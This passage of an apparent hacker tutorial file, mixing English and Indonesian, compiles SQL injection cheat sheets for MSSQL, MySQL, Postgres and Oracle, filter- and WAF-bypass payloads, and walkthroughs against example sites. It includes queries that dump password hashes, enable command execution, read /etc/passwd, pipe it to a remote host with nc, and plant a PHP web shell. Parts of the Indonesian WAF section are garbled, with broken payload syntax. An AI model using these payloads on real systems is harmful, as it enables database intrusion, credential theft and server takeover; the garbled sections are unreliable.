6353)(select 1)a join (select 2)b join (select 3)c
636hOpe if you have concept of sql injection i don't think i have to give eXample
637But also leaving here one eXample
638www.vuln.com/events.php?id=-1 union select 1,2,3===>blockEd..
639now use
640Union select 1,CHAR(44), 2,CHAR(44),3,char(44)--
641~h
642
643Pengetahuan Sql Untuk pelajar :)
644-------------------------------------------------- ------
645---> Apa itu Sql Injection
646-------------------------------------------------- -------
647Injeksi SQL adalah teknik di mana pengguna jahat dapat menyuntikkan perintah SQL ke dalam pernyataan SQL, melalui input halaman web.
648Perintah SQL yang disuntikkan dapat mengubah pernyataan SQL dan membahayakan keamanan aplikasi web. Dan Juga Hancurkan basis data colonthree Anda
649-------------------------------------------------- -------
650---> Apa itu Information_schema?
651-------------------------------------------------- -------
652INFORMATION_SCHEMA adalah basis data informasi, tempat yang menyimpan informasi tentang semua basis data lain yang disimpan oleh server MySQL. Di dalam INFORMATION_SCHEMA ada beberapa tabel hanya-baca.
653Berikut ini adalah daftar masing-masing pandangan yang ada.
654INFORMATION_SCHEMA.CHECK_CONSTRAINTS
655INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE
656INFORMATION_SCHEMA.COLUMN_PRIVILEGES
657INFORMATION_SCHEMA.COLUMNS
658INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE
659INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE
660INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS
661INFORMATION_SCHEMA.DOMAINS
662INFORMATION_SCHEMA.KEY_COLUMN_USAGE
663INFORMATION_SCHEMA.PARAMETERS
664INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS
665INFORMATION_SCHEMA.ROUTINE_COLUMNS
666INFORMATION_SCHEMA.ROUTINES
667INFORMATION_SCHEMA.SCHEMATA
668INFORMATION_SCHEMA.TABLE_CONSTRAINTS
669INFORMATION_SCHEMA.TABLE_PRIVILEGES
670INFORMATION_SCHEMA.TABLES
671INFORMATION_SCHEMA.VIEW_COLUMN_USAGE
672INFORMATION_SCHEMA.VIEW_TABLE_USAGE
673INFORMATION_SCHEMA.VIEWS
674-------------------------------------------------- -----
675---> Apa Nilai Null?
676-------------------------------------------------- -------
677NULL SQL adalah istilah yang digunakan untuk merepresentasikan nilai yang hilang. Nilai NULL dalam tabel adalah nilai dalam bidang yang tampaknya kosong.
678Bidang dengan nilai NULL adalah bidang tanpa nilai. Sangat penting untuk memahami bahwa nilai NULL berbeda dari nilai nol atau bidang yang berisi spasi.
679---------------------------
680
681
682MSSQL INJECTION CHEAT SHEET
683
684Version SELECT @@version
685Comments SELECT 1 — comment
686SELECT /*comment*/1
687Current User SELECT user_name();
688SELECT system_user;
689SELECT user;
690SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
691List Users SELECT name FROM master..syslogins
692List Password Hashes SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
693SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
694SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
695SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005
696Password Cracker MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these.
697List Privileges – current privs on a particular object in 2005, 2008
698SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current database
699SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current server
700SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a table
701SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);
702–permissions on a user– current privs in 2005, 2008
703SELECT is_srvrolemember(‘sysadmin’);
704SELECT is_srvrolemember(‘dbcreator’);
705SELECT is_srvrolemember(‘bulkadmin’);
706SELECT is_srvrolemember(‘diskadmin’);
707SELECT is_srvrolemember(‘processadmin’);
708SELECT is_srvrolemember(‘serveradmin’);
709SELECT is_srvrolemember(‘setupadmin’);
710SELECT is_srvrolemember(‘securityadmin’);
711– who has a particular priv? 2005, 2008
712SELECT name FROM master..syslogins WHERE denylogin = 0;
713SELECT name FROM master..syslogins WHERE hasaccess = 1;
714SELECT name FROM master..syslogins WHERE isntname = 0;
715SELECT name FROM master..syslogins WHERE isntgroup = 0;
716SELECT name FROM master..syslogins WHERE sysadmin = 1;
717SELECT name FROM master..syslogins WHERE securityadmin = 1;
718SELECT name FROM master..syslogins WHERE serveradmin = 1;
719SELECT name FROM master..syslogins WHERE setupadmin = 1;
720SELECT name FROM master..syslogins WHERE processadmin = 1;
721SELECT name FROM master..syslogins WHERE diskadmin = 1;
722SELECT name FROM master..syslogins WHERE dbcreator = 1;
723SELECT name FROM master..syslogins WHERE bulkadmin = 1;
724List DBA Accounts SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation
725SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
726SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005
727Current Database SELECT DB_NAME()
728List Databases SELECT name FROM master..sysdatabases;
729SELECT DB_NAME(N); — for N = 0, 1, 2, …
730List Columns SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
731SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
732List Tables SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
733SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
734SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
735Find Tables From Column Name – NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
736SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’
737Select Nth Row SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
738Select Nth Char SELECT substring(‘abcd’, 3, 1) — returns c
739Bitwise AND SELECT 6 & 2 — returns 2
740SELECT 6 & 1 — returns 0
741ASCII Value -> Char SELECT char(0×41) — returns A
742Char -> ASCII Value SELECT ascii(‘A’) – returns 65
743Casting SELECT CAST(’1′ as int);
744SELECT CAST(1 as char)
745String Concatenation SELECT ‘A’ + ‘B’ – returns AB
746If Statement IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
747Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
748Avoiding Quotes SELECT char(65)+char(66) — returns AB
749Time Delay WAITFOR DELAY ’0:0:5′ — pause for 5 seconds
750Make DNS Requests declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails â€\’ + @host + ‘c$boot.iniâ€â€™); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist â€\’ + @host + ‘c$boot.iniâ€â€™); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
751– Also check out theDNS tunnel feature of sqlninja
752Command Execution EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:
753EXEC sp_configure ‘show advanced options’, 1; — priv
754RECONFIGURE; — priv
755EXEC sp_configure ‘xp_cmdshell’, 1; — priv
756RECONFIGURE; — priv
757Local File Access CREATE TABLE mydata (line varchar(8000));
758BULK INSERT mydata FROM ‘c:boot.ini’;
759DROP TABLE mydata;
760Hostname, IP Address SELECT HOST_NAME()
761Create Users EXEC sp_addlogin ‘user’, ‘pass’; — priv
762Drop Users EXEC sp_droplogin ‘user’; — priv
763Make User DBA EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv
764Location of DB files EXEC sp_helpdb master; –location of master.mdf
765EXEC sp_helpdb pubs; –location of pubs.mdf
766Default/System Databases northwind
767model
768msdb
769pubs — not on sql server 2005
770tempdb
771
772------------------------------------
773
774MYSQL INJECTION CHEAT SHEET
775
776Version SELECT @@version
777Comments SELECT 1; #comment
778SELECT /*comment*/1;
779Current User SELECT user();
780SELECT system_user();
781List Users SELECT user FROM mysql.user; — priv
782List Password Hashes SELECT host, user, password FROM mysql.user; — priv
783Password Cracker John the Ripper will crack MySQL password hashes.
784List Privileges SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
785List DBA Accounts SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
786Current Database SELECT database()
787List Databases SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
788SELECT distinct(db) FROM mysql.db — priv
789List Columns SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
790List Tables SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
791Find Tables From Column Name SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
792Select Nth Row SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
793SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
794Select Nth Char SELECT substr(‘abcd’, 3, 1); # returns c
795Bitwise AND SELECT 6 & 2; # returns 2
796SELECT 6 & 1; # returns 0
797ASCII Value -> Char SELECT char(65); # returns A
798Char -> ASCII Value SELECT ascii(‘A’); # returns 65
799Casting SELECT cast(’1′ AS unsigned integer);
800SELECT cast(’123′ AS char);
801String Concatenation SELECT CONCAT(‘A’,'B’); #returns AB
802SELECT CONCAT(‘A’,'B’,'C’); # returns ABC
803If Statement SELECT if(1=1,’foo’,'bar’); — returns ‘foo’
804Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
805Avoiding Quotes SELECT 0×414243; # returns ABC
806Time Delay SELECT BENCHMARK(1000000,MD5(‘A’));
807SELECT SLEEP(5); # >= 5.0.12
808Make DNS Requests Impossible?
809Command Execution If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.
810Local File Access …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
811SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
812Hostname, IP Address SELECT @@hostname;
813Create Users CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
814Delete Users DROP USER test1; — priv
815Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
816Location of DB files SELECT @@datadir;
817Default/System Databases information_schema (>= mysql 5.0)
818mysql
819
820------------------------------------------
821Postgres SQL Injection Cheat Sheet
822Version SELECT version()
823Comments SELECT 1; –comment
824SELECT /*comment*/1;
825Current User SELECT user;
826SELECT current_user;
827SELECT session_user;
828SELECT usename FROM pg_user;
829SELECT getpgusername();
830List Users SELECT usename FROM pg_user
831List Password Hashes SELECT usename, passwd FROM pg_shadow — priv
832Password Cracker MDCrack can crack PostgreSQL’s MD5-based passwords.
833List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
834List DBA Accounts SELECT usename FROM pg_user WHERE usesuper IS TRUE
835Current Database SELECT current_database()
836List Databases SELECT datname FROM pg_database
837List Columns SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
838List Tables SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,â€) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
839Find Tables From Column Name If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
840Select Nth Row SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
841SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
842Select Nth Char SELECT substr(‘abcd’, 3, 1); — returns c
843Bitwise AND SELECT 6 & 2; — returns 2
844SELECT 6 & 1; –returns 0
845ASCII Value -> Char SELECT chr(65);
846Char -> ASCII Value SELECT ascii(‘A’);
847Casting SELECT CAST(1 as varchar);
848SELECT CAST(’1′ as int);
849String Concatenation SELECT ‘A’ || ‘B’; — returnsAB
850If Statement IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead.
851Case Statement SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
852Avoiding Quotes SELECT CHR(65)||CHR(66); — returns AB
853Time Delay SELECT pg_sleep(10); — postgres 8.2+ only
854CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here .
855Make DNS Requests Generally not possible in postgres. However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
856SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
857Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.netâ€.
858Command Execution CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
859Local File Access CREATE TABLE mydata(t text);
860COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
861…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
862…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
863DROP TABLE mytest mytest;Write to a file:
864CREATE TABLE mytable (mycol text);
865INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
866COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user. Generally you won’t be able to write to the web root, but it’s always work a try.
867– priv user can also read/write files by mapping libc functions
868Hostname, IP Address SELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
869SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
870Create Users CREATE USER test1 PASSWORD ‘pass1′; — priv
871CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
872Drop Users DROP USER test1; — priv
873Make User DBA ALTER USER test1 CREATEUSER CREATEDB; — priv
874Location of DB files SELECT current_setting(‘data_directory’); — priv
875SELECT current_setting(‘hba_file’); — priv
876Default/System Databases template0
877template1
878
879-----------------------------------------------
880ORACLE SQL INJECTION CHEAT SHEET
881
882Version SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;
883SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;
884SELECT version FROM v$instance;
885Comments SELECT 1 FROM dual — comment
886– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.
887Current User SELECT user FROM dual
888List Users SELECT username FROM all_users ORDER BY username;
889SELECT name FROM sys.user$; — priv
890List Password Hashes SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked
891SELECT name,spare4 FROM sys.user$ — priv, 11g
892Password Cracker checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
893List Privileges SELECT * FROM session_privs; — current privs
894SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs
895SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv
896SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
897List DBA Accounts SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles
898Current Database SELECT global_name FROM global_name;
899SELECT name FROM v$database;
900SELECT instance_name FROM v$instance;
901SELECT SYS.DATABASE_NAME FROM DUAL;
902List Databases SELECT DISTINCT owner FROM all_tables; — list schemas (one per user)
903– Also query TNS listener for other databases. See tnscmd (services | status).
904List Columns SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
905SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
906List Tables SELECT table_name FROM all_tables;
907SELECT owner, table_name FROM all_tables;
908Find Tables From Column Name SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case
909Select Nth Row SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
910Select Nth Char SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’
911Bitwise AND SELECT bitand(6,2) FROM dual; — returns 2
912SELECT bitand(6,1) FROM dual; — returns0
913ASCII Value -> Char SELECT chr(65) FROM dual; — returns A
914Char -> ASCII Value SELECT ascii(‘A’) FROM dual; — returns 65
915Casting SELECT CAST(1 AS char) FROM dual;
916SELECT CAST(’1′ AS int) FROM dual;
917String Concatenation SELECT ‘A’ || ‘B’ FROM dual; — returns AB
918If Statement BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements
919Case Statement SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
920SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
921Avoiding Quotes SELECT chr(65) || chr(66) FROM dual; — returns AB
922Time Delay BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT
923SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow
924SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow
925SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow
926– Also see Heavy Queries to create a time delay
927Make DNS Requests SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual;
928SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;
929Command Execution Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. :-(
930Local File Access UTL_FILE can sometimes be used. Check that the following is non-null:
931SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express).
932Hostname, IP Address SELECT UTL_INADDR.get_host_name FROM dual;
933SELECT host_name FROM v$instance;
934SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address
935SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames
936Location of DB files SELECT name FROM V$DATAFILE;
937Default/System Databases SYSTEM
938SYSAUX
939
940~rkx
941
942Basic filter
943
944----------------------------
945
946*** Comments
947
948‘ or 1=1#
949
950‘ or 1=1– -
951
952‘ or 1=1/* (MySQL < 5.1)
953
954' or 1=1;%00
955
956' or 1=1 union select 1,2 as `
957
958' or#newline
959
9601='1
961
962' or– -newline
963
9641='1
965
966' /*!50000or*/1='1
967
968' /*!or*/1='1
969
970*** Prefixes
971
972+ – ~ !
973
974‘ or –+2=- -!!!’2
975
976*** Operators
977
978^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE,
979
980RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL
981
982*** Whitespaces
983
984+ %09 %0a %0b %0c %0d %a0 /**/
985
986‘or+(1)sounds/**/like“1“–%a0-
987
988load_file/*foo*/(0×616263)
989
9900x82 ( low single comma )
991
992%82
993
994%uff00 %c0%20 %c0%a0 %e0%80%a0 %u0028 %uff08 %c0( %c0%a8 %e0%80%a8 %u0029 %uff09 %c0) %c0%a9 %e0%80%a9
995
996-Ph.h4rh4r
997
998FOR POSTGRE 8.4 >
999
1000(select+array_to_string(array_agg(concat(table_name,'::',column_name)::text),$$%3Cli%3E$$)from+information_schema.columns+where+table_schema+not+in($$informatio​n_schema$$,$$pg_catalog$$))
1001
10022.FOR POSTGRE 9.1>
1003
1004(select+string_agg(concat(table_name,'::',column_name),$$%3Cli%3E$$)from+informa​tion_schema.columns+where+table_schema+not+in($$information_schema$$,$$pg_catalo​g$$))
1005
10063. ALL VERSION
1007(select+array_to_string(array(select+table_name||':::'||column_name::text+from+i​nformation_schema.columns+where+table_schema+not+in($$information_schema$$,$$pg_catalog$$)),'%3Cli%3E'))
1008
10094.
1010'Asero ::: '||version()||'<br>'||(SELECT array_to_string(array(SELECT('===>'||T0ltable_name||' :: '||column_name)::text FROM information_schema.columns where table_schema='public'),'<br>'))
1011
1012~Asero
1013
1014
1015Oracle SQL Injection and DIOS query (Ph.h4rh4r)
1016
1017http://www.site.it/pages.php?p=cut-linear') order by 3--&lang=it
1018
1019No Error
1020
1021http://www.site.it/pages.php?p=cut-linear') order by 4--&lang=it
1022
1023No Error
1024
1025http://www.site.it/pages.php?p=cut-linear') order by 5--&lang=it
1026
1027Error
1028
1029http://www.site.it/pages.php?p=cut-linear') Union All Select NULL,NULL,NULL,NULL from dual--&lang=it
1030
1031ctrl+u (view-source:)
1032
1033view-source:http://www.site.it/pages.php?p=cut-linear') Union All Select '1111',NULL,NULL,NULL from dual--&lang=it
1034
1035view-source:http://www.site.it/pages.php?p=cut-linear') Union All Select NULL,'1111',NULL,NULL from dual--&lang=it
1036
1037view-source:}
1038
1039<meta name="description" content="11111" />
1040
1041<meta name="description" content="1" />
1042
1043}
1044
1045'">'||(select LISTAGG(table_name,'<li>') within group (ORDER BY table_name) from all_tables)||'<!--'
1046
1047(select wm_concat('<li>'||table_name||':'||column_name)from (select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120)||'<!--'
1048
1049http://www.site.it/pages.php?p=cut-linear') and 1=0 union select null,'">'||(select LISTAGG(table_name,'<li>') within group (ORDER BY table_name) from all_tables)||'<!--' ,NULL,NULL from dual --&lang=it
1050
1051(select banner from v$version where rownum=1)
1052
1053
1054SQL injection using the xml function extractvalue() to extract data (Ph.h4rh4r)
1055
10561 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,version(),0x3a,user()))--
1057
1058Result:
1059
1060'Xpath syntax error: 5.5.9:user@localhost'
1061
10622 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3c,table_name) from information_schema.tables limit 85,1)))--
1063
1064Result:
1065
1066'Xpath syntax error: :users'
1067
10683 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 1050,1)))--
1069
1070Result:
1071
1072'Xpath syntax error: :username'
1073
10744 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 1150,1)))--
1075
1076Result:
1077
1078'Xpath syntax error: :password'
1079
10805 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,username,0x3a,password) from users)))--
1081
1082Result:
1083
1084'Xpath syntax error: :Admin:password1'
1085
1086OR
1087
10886 : www.site.com/error.php?id=null and extractvalue(rand(),concat(0x3a,(select concat(0x3a,username,0x3a,password) from users limit 1,1)))--
1089
1090Source: GOOGLE.COM
1091
1092Sekarang saya akan menunjukkan bagaimana mem-bypass filter WAF.
1093
1094Sebelum Semua pastikan Anda memiliki pengetahuan dalam SQLi.
1095
1096Ok Mari Mulai ..
1097
1098Apa itu WAF atau Aplikasi Web Firewall>?
1099-A firewall aplikasi web (WAF) adalah alat, plugin server, atau filter yang menerapkan seperangkat aturan ke percakapan HTTP. Umumnya, aturan-aturan ini mencakup serangan umum seperti Cross-site Scripting (XSS) dan SQL Injection. Dengan menyesuaikan aturan untuk aplikasi Anda, banyak serangan dapat diidentifikasi dan diblokir. Upaya untuk melakukan kustomisasi ini dapat menjadi signifikan dan perlu dipertahankan karena aplikasi dimodifikasi.
1100
1101Beberapa situs web menggunakan filter WAF.
1102Jika Anda menemukan situs vuln yang memiliki waf dan Anda mencoba untuk menyuntikkan permintaan berbasis Union dan Pertunjukannya Tidak Dapat Diterima, 403 terlarang atau Aplikasi Web FIrewall ALERT..Itulah berarti permintaan atau sintaks yang disuntikkan adalah Filter atau Diblokir oleh WAF.
1103
1104Ok sekarang inilah beberapa metode untuk Bypass filter WAF.
1105
11061) Komentar:
1107
1108Komentar SQL adalah berkat bagi kita SQL injector. Mereka memungkinkan kita untuk melewati banyak pembatasan firewall aplikasi Web dan untuk membunuh pernyataan SQL tertentu untuk mengeksekusi perintah penyerang saat mengomentari pertanyaan sah yang sebenarnya. Beberapa komentar di SQL:
1109
1110//,? , / ** /, #,? +,? -,;
1111
11122) Mengubah Kasus:
1113
1114Beberapa WAF? S hanya akan menyaring serangan huruf kecil. Seperti yang bisa kita lihat, kita dapat dengan mudah menghindarinya dengan mengubah huruf besar-kecil:
1115Kemungkinan filter Regex:
1116
1117/ union \ sselect / g
1118id = 1 + UnIoN / ** / SeLeCT, atau dengan XSS -> alert (1)
1119
11203) Komentar Inline:
1121
1122Beberapa kata kunci filter WAF seperti / union \ sselect / ig Kita dapat mem-bypass filter ini dengan menggunakan komentar inline sebagian besar waktu, Contoh yang lebih kompleks akan memerlukan pendekatan yang lebih canggih seperti menambahkan kata kunci SQL yang selanjutnya akan memisahkan dua kata:
1123
1124id = 1 / *! UnIoN * / SeLeCT
1125
1126Perhatikan tanda seru / *! Kode * / Tanda seru mengeksekusi pernyataan SQL kami.
1127Komentar sebaris dapat digunakan di seluruh pernyataan SQL sehingga jika table_name atau information_schema disaring, kita dapat menambahkan lebih banyak komentar sebaris. Sebagai contoh, mari kita berpura-pura sebuah situs menyaring serikat, di mana, table_name, table_schema, =, dan information_schema .. Ini adalah 3 pernyataan yang kita perlukan untuk menyuntikkan target kita.
1128Untuk ini kami akan:
1129
1130id = 1 / *! UnIoN * / + SeLeCT + 1,2, concat (/ *! table_name * /) + FrOM /*information_schema*/.tables / *! WHERE * / + / *! TaBlE_ScHeMa * / + like + database ()? -
1131
1132Kode di atas akan melewati filter. Perhatikan kami dapat menggunakan? Suka? bukannya? =?
1133Cara lain untuk menggunakan comemnts inline, ketika semuanya tampak gagal Anda dapat mencoba untuk melalui aplikasi Firewall off dengan menyusun pernyataan SQL menggunakan variabel:
1134
1135id = 1 + UnIoN / * & a = * / SeLeCT / * & a = * / 1,2,3, database ()? -
1136
1137Kode di atas harus melewati Union + pilih filter bahkan ketika komentar inline umum tidak bekerja dengan sendirinya
1138
11394) Buffer Overflow: / Masukan yang tidak terduga:
1140
1141Banyak WAFS ditulis dalam bahasa C yang membuat mereka cenderung meluap atau bertindak berbeda ketika dimuat dengan sekelompok data. Berikut adalah WAF yang melakukan tugasnya dengan benar, tetapi ketika diberikan sejumlah besar Data memungkinkan permintaan dan respons jahat.
1142
1143id = 1 dan (pilih 1) = (Pilih 0xAAAAAAAAAAAAAAAAA 1000 lebih A? s) + UnIoN + SeLeCT + 1,2, versi (), 4,5, database (), gunakan r (), 8,9,10, 11,12,13,14,15,16,17,18,19,20,21,22,23, 24,25,26
1144, 27,28,29,30,31,32,33,34,35,36? +
1145
1146Pemintas ini di atas berfungsi. Saya sendiri baru saja menggunakan ini terhadap situs Web baru-baru ini.
1147
11485) Kata kunci yang diganti (preg_replace dan / atau WAF? S dengan tindakan yang sama
1149
1150Terkadang dan aplikasi akan menghapus semua kata kunci. Sebagai contoh, katakanlah kita memiliki filter yang menggantikan serikat pilih dengan spasi. Kita bisa memotong filter itu seperti ini:
1151
1152id = 1 + UNIunionON + SeLselectECT + 1,2,3?
